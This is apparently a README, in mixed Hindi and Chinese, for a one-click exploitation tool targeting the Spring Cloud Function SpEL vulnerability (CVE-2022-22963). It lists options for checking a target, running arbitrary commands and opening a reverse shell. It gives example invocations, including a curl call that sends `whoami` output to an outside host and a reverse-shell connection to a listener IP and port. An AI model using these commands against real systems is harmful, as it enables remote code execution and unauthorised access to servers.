charis3306/cve-2022-22963spring cloud function एक-क्लिक शोषण उपकरण! charis द्वारा ब्लॉग https://charis3306.top/
usage: Spring-cloud-function-spel0.2.exe [-h] --check CHECK [--route ROUTE] --url URL [--ip IP] [--port PORT] [--proxies PROXIES] [--cmd CMD]
spring cloud function 一键利用工具! by charis 博客https://charis3306.top/
options:
-h, --help show this help message and exit
--check CHECK 检测方式post或get方式,--check get --check post
--route ROUTE 检测路由，默认是functionRouter
--url URL 输入利用的url
--ip IP 反弹shell地址ip
--port PORT 反弹shell地址端口
--proxies PROXIES 启用代理
--cmd CMD 要执行的命令
--check अनिवार्य है
Spring-cloud-function-spel0.2.exe --help
डिफ़ॉल्ट जांच --check अनिवार्य है, --route वह रूट है जहाँ भेद्यता मौजूद है। नोट: यदि आप dnslog या sleep का उपयोग नहीं करते हैं तो गलत सकारात्मक हो सकते हैं!
Spring-cloud-function-spel0.2.exe --check post --url http://www.charis3306.top
Spring-cloud-function-spel.exe --check post --url http://192.168.133.136:8080/ --cmd "curl http://192.168.1.3:8080/`whoami`"
Spring-cloud-function-spel.exe --check post --url http://192.168.133.136:8080/ --ip 192.168.1.3 --port 9999
